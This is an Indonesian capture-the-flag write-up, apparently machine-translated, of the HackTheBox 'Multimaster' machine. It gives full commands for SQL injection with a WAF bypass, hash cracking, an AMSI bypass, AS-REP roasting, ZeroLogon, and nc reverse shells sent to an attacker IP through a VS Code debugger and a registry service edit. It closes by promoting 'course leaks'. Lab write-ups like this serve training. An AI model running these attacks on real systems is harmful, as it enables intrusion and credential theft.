
Hai, Ralph bersamamu. Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .
Ada banyak hal di artikel ini. Mari kita lihat cara menggabungkan Burp Suite dan sqlmap untuk kenyamanan, mencari tahu cara mendapatkan pengguna domain dengan akses ke MSSQL, mengeksploitasi kerentanan dalam Visual Studio Code, memblokir AMSI, melakukan AS-REP Roasting untuk mendapatkan kredensial, dan meningkatkan hak istimewa dari grup Operator Server. Dan sebagai demonstrasi kerentanan ZeroLogon baru, kami akan menangkap mesin yang sama dengan cara berbeda dalam waktu kurang dari 5 menit.
Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.
Informasi organisasi
Pengintai
Mesin ini memiliki alamat IP 10.10.10.179, yang saya tambahkan ke / etc / hosts.
10.10.10.179 multimaster.htb
Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500
Banyak port terbuka di host. Sekarang mari kita pindai dengan nmap untuk memfilter dan memilih yang kita butuhkan.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389
Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.
nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389
Dengan SMB dan LDAP tidak ada yang bisa dilakukan, mari kita lihat web.
Situs ini memiliki otorisasi, serta formulir pencarian.
Selain itu, pencarian bekerja dengan entri.
Jadi, kita dapat mengasumsikan bahwa operator LIKE digunakan dalam query SQL. Oleh karena itu, Anda dapat mencoba menampilkan semua rekaman.
Ternyata kami memiliki injeksi SQL.
Tapi setidaknya ada sesuatu yang tidak berhasil. Rupanya WAF digunakan.
Tapi ternyata itu dilewati karena penggunaan pengkodean Unicode.
Dan kami menemukan jumlah kolom.
Jadi suntikannya 100%.
Sqlmap + Suite Burp
Agar mudah bekerja dengan database, kami menggunakan sqlmap. Kami tahu metode pengkodean dan DBMS - kami akan merefleksikannya dalam parameter. Kami juga akan menyimpan permintaan dari Burp Suite ke file dan menentukan sqlmap-nya. Mari tentukan pengguna tempat permintaan dibuat.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user
Dan sayangnya, kami mendapat jawaban yang sama tanpa menggunakan coding. Mari arahkan Burp sebagai proxy untuk sqlmap. Dan agar tidak membuang waktu, kami akan menunjukkan teknik injeksi kode berbasis Union (parameter U).
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user
Kami mencegat permintaan dalam burp, dan kami melihat tampilan encoding yang sedikit berbeda.
Mari kita periksa apakah itu berhasil. Mari kita menyandikan beban yang sudah kita ketahui dengan cara ini.
Dan itu tidak berhasil. Jadi kita perlu mengubah tampilan encoding. Ini bisa dilakukan dengan Burp. Mari pergi ke tab Proxy -> opsi dan ke bagian Cocokkan dan Ganti.
Mari tambahkan aturan yang akan mengubah% u menjadi \ u di badan permintaan.
Dan pastikan itu aktif.
Sekarang mari kita jalankan sqlmap lagi.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user
Di Burp, kami melihat permintaan yang sudah diperbaiki.
Izinkan transmisi untuk semua permintaan. Dan di sqlmap kami mendapatkan nama pengguna saat ini.
Tetapi sekali lagi kami melihat kesalahan. Ternyata WAF. Mari tambahkan penundaan 3 detik dan cari tahu hak istimewanya.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges
Tidak ada yang bisa kita lakukan. Mari kita cari tahu database-nya.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs
Mari kita lihat tabel dari Hub_DB.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables
Persis apa yang dibutuhkan. Tabel login. Mari mengekstrak semua data darinya.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump
Jadi, kami memiliki pengguna dan hash kata sandi. Semua 4 hash yang berbeda ada di sini. Mari cari tahu yang mana.
Sekarang kita akan menemukan mode hashcat yang akan kita iterasi.
Ada tiga mode secara total. Dan menggunakan yang terakhir, kami mematahkan tiga hash.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt
Tetapi hash ini tidak cocok untuk SMB. Menggali lebih jauh.
PENGGUNA
Fakta bahwa kita bisa mendapatkan data dari MSSQL memberi kita kemampuan untuk mendapatkan pengguna domain. Sekarang saya akan menunjukkan cara melakukannya. Pertama-tama, kita perlu mendapatkan nama domainnya.
Dan sekarang kita perlu mencari tahu SID-nya. Kita bisa mendapatkan SID dari domain dengan mencari tahu SID dari objek domain apa pun dan membuang RID darinya. Setiap domain memiliki grup Admin Domain. Ini memungkinkan kita untuk ada sebelumnya di objek domain. Mari cari tahu SID-nya.
Jadi, itu dikodekan. Untuk menampilkannya secara normal, gunakan fungsi sys.fn_varbintohexstr.
Dan kami mendapatkan SID dari objek ini. Selanjutnya, idenya adalah ini: kami mendapatkan SID dari domain dan mengganti RID yang berbeda, kami mendapatkan nama pengguna dengan SID yang ada. Misalnya, RID administrator adalah 500.
Dari SID yang diterima, ambil 48 byte pertama.
Dan tambahkan pada akhirnya, RID - 500 (jangan lupa untuk membaliknya).
Dan sekarang kita akan mendapatkan nama akun dengan SID kita.
Karena ini berhasil, mari kita dapatkan objek domain. Untuk iterasi, saya menggunakan Burp Intruder.
Setelah mengirim permintaan ke Penyusup, kami mengalokasikan variabel kami 4 byte. Selanjutnya, Anda perlu menghasilkan variabel 4 byte ini.
for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)
Kami menyimpan hasilnya ke file dan mengarahkannya ke Burp.
Matikan juga pengkodean URL dan ganti semua 0x dengan \ u00.
Ingat tentang WAF, kami menempatkan satu aliran dan dan penundaan di antara permintaan.
Kami meluncurkan serangan, mengurutkan berdasarkan panjang respons, dan mengamati banyak objek.
Pilih semua pengguna dan simpan ke file. Kami juga memiliki tiga kata sandi. Kami mengulangi SMB dan menemukan pasangan yang benar.
Kami terhubung ke WinRM dan kami berada dalam sistem.
USER2
Setelah masuk sistem, kami melakukan pengintaian. Saya melakukan ini menggunakan winPEAS. Kami memuatnya di mesin dan meluncurkannya. Mereka tidak menemukan sesuatu yang menarik di sana.
Jadi mari kita pergi ke jalan yang sulit. Kami perlu mendapatkan kredensial sebanyak mungkin. Mari kita mulai dengan nama pengguna yang ada di sistem.
Kami menyimpan semua untuk diri kami sendiri dalam sebuah file. Tetapi di mana kami dapat menemukan kata sandi? Server menggunakan database dan Anda memerlukan kata sandi untuk menyambungkannya. Mari kita coba mendapatkannya.
Tetapi kami tidak memiliki hak atas direktori server web. Tidak tahu harus berbuat apa, posisi software yang digunakan di server tidak ditutup di daftar saya. Mari kita lihat daftar prosesnya.
Dan VSCode menarik perhatian.
Dengan demikian, Visual Studio Code 1.37.1 berjalan di server. Dan ia memiliki kerentanan yang memungkinkan eksekusi kode!
Berikut dari sini :
Ketinggian kerentanan hak istimewa ada di Visual Studio Code saat itu memperlihatkan pendengar debug untuk pengguna komputer lokal.
Penyerang dapat menyuntikkan kode arbitrer untuk dijalankan dalam konteks pengguna saat ini untuk melakukan ini, ia harus menentukan port Visual Studio Code yang mendengarkan. Kita dapat menggunakan cefdebug untuk terhubung ke port VSCode .
Mari temukan port mendengarkan.
Bagus, ada pelabuhan seperti itu. Mari kita jalankan kode dalam konteks proses VSCode. Mari kita jalankan shell backconnect menggunakan nc.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"
Dan kami melihat koneksi yang sukses.
Kami pergi ke direktori kami.
Dari semua yang disajikan, API adalah yang paling menarik. Ayo unduh.
Saya pergi ke Windows dan memeriksa apa perpustakaan itu ditulis.
Ini adalah C #, jadi kami dapat mendekompilasi proyek tersebut. Saya menggunakan dnSpy.
Dan di kode sumber kami menemukan kata sandi. Tetapi untuk mencari tahu siapa pengguna dia, kami menggunakan login brute force (Penyemprotan Kata Sandi). Saya menggunakan CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"
Dan kami mengambil satu pengguna lagi
USER3
Saat mencoba mengunduh dan menggunakan alat intelijen apa pun, kami diblokir oleh AMSI. Mari kita tambal dengan Invoke-AlokS-AvBypass .
Sekarang, unggah sharphound dengan aman ke host.
Dan setelah memulai, kami mengamati arsipnya.
Sekarang kami mengunduhnya ke host lokal dan memasukkannya ke anjing pelacak. Berikutnya di Queries, pilih Shortest Paths to High Value T Target.
Menggali ke dalam grafik, kami menentukan hubungan antara pengguna di bawah kendali kami dan pengguna lain dari domain tersebut.
Mari kita dapatkan informasi komunikasi.
Jadi, kita bisa mendapatkan hash dari kata sandi pengguna (prosesnya sendiri telah dijelaskan dalam dua artikel serupa). Kami mengaktifkan properti - tidak memerlukan pra-otentikasi Kerberos.
Dan kami akan menjalankan permintaan tersebut.
Salin hash dan hancurkan menggunakan hashcat.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt
Kami mendapatkan kata sandi pengguna. Dan kami berhasil melakukannya.
AKAR
Setelah menerima informasi tentang pengguna, kami melihat bahwa dia adalah anggota grup Operator Server.
Anggota grup ini dapat mengkonfigurasi dan menjalankan layanan (dan layanan di Windows dijalankan atas nama SISTEM). Ini biasanya dilakukan melalui SensorDataService.
Mari kita ubah perintah let to executable to backconnect menggunakan netcat.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f
Dan setelah memulai layanan, kami mengamati koneksi ke port 4321.
sc.exe start SensorDataService
Kami adalah SISTEM.
CVE-2020-1472
Dan sekarang, untuk demonstrasi, mari kita coba untuk segera menangkap pengontrol domain, bahkan tanpa titik masuk dan dukungan. Untuk melakukan ini, kami menggunakan kerentanan ZeroLogon yang terkenal kejam (CVE-2020-1472).
Pada dasarnya, kerentanan CVE-2020-1472 terletak pada ketidaksempurnaan skema otentikasi kriptografi Netlogon Remote Protocol. Protokol ini digunakan untuk mengotentikasi pengguna dan mesin di jaringan berbasis domain. Secara khusus, Netlogon juga digunakan untuk memperbarui sandi komputer dari jarak jauh. Kerentanan dapat memungkinkan penyerang untuk meniru komputer klien dan mengatur ulang kata sandi pengontrol domain.
Untuk pengujian, mari kita coba meminta replikasi kredensial dengan hash 31d6cfe0d16ae931b73c59d7e0c089c0 (sandi kosong).
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Sekarang mari gunakan exploit .
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179
Kami diberi tahu bahwa serangan itu berhasil. Meminta replikasi kredensial lagi. Dan kami mendapatkannya.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Dan dengan hash administrator, kita dapat terhubung melalui WinRM.
Secara khusus, ini adalah bagaimana Anda dapat menangkap pengontrol domain berdasarkan:
- semua versi Windows Server 2019, Windows Server 2016;
- Semua varian Windows Server, versi 1909
- Windows Server, versi 1903
- Windows Server, versi 1809 (Datacenter, Standard)
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2 Paket Layanan 1.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas, di dalamnya akan ada orang-orang yang berpengalaman di banyak bidang IT, kemudian kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.